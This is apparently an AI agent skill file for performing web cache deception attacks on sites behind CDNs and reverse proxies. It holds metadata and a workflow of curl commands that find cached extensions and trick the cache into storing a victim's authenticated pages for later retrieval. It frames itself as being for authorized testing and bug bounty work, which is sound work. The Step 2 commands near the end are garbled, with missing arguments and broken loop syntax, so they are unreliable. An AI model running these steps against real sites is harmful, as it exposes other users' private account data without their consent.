performing-web-cache-deception-attack

name	performing-web-cache-deception-attack
description	Executes web cache deception attacks by exploiting path normalization discrepancies between CDN/reverse-proxy caching layers (Cloudflare, Akamai, Varnish, Nginx) and origin servers to cache and retrieve sensitive authenticated content. Use when testing applications behind CDNs for cache-key misconfigurations, during bug bounty hunting on aggressively cached sites, or when assessing sensitive data exposure through cache layer misconfiguration.
domain	cybersecurity
subdomain	web-application-security
tags	["web-cache-deception","cdn-attack","cache-poisoning","path-normalization","cloudflare","cache-key","static-resource"]
version	1.0
author	mahipal
license	Apache-2.0
nist_csf	["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"]
mitre_attack	["T1190","T1059.007","T1505.003","T1083","T1078.004"]

Performing Web Cache Deception Attack

When to Use

• When testing applications behind CDNs or reverse proxies (Cloudflare, Akamai, Varnish, Nginx)
• During assessment of authenticated page caching behavior
• When evaluating path normalization differences between caching and origin layers
• During bug bounty hunting on applications with aggressive caching policies
• When testing for sensitive data exposure through cache layer misconfiguration

Prerequisites

• Understanding of HTTP caching mechanisms (Cache-Control, Vary, Age headers)
• Knowledge of CDN path normalization and cache key construction
• Burp Suite for intercepting and crafting requests
• Two browser sessions (authenticated victim and unauthenticated attacker)
• Understanding of URL path parsing differences across technologies
• Familiarity with common CDN platforms (Cloudflare, Akamai, Fastly, AWS CloudFront)

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

Workflow

Step 1 — Identify Caching Layer and Behavior

# Determine if a caching layer exists
curl -I http://target.com/account/profile
# Look for: X-Cache, CF-Cache-Status, Age, Via, X-Varnish headers

# Check caching rules for static extensions
curl -I "http://target.com/static/style.css"
# Look for: X-Cache: HIT, CF-Cache-Status: HIT, Age: >0

# Identify which extensions are cached
for ext in css js png jpg gif svg ico woff woff2 pdf; do
  echo -n "$ext: "
  curl -sI "http://target.com/test.$ext" | grep -i "x-cache\|cf-cache"
done

Step 2 — Test Path-Based Cache Deception

# Classic web cache deception: append static extension to dynamic URL
# Victim visits: http://target.com/account/profile/nonexistent.css



curl -b  


curl 



 ext  css js png jpg svg ico woff2; 
  curl -b   -o /dev/null
   2
   -n 
  curl -s  |  -c 200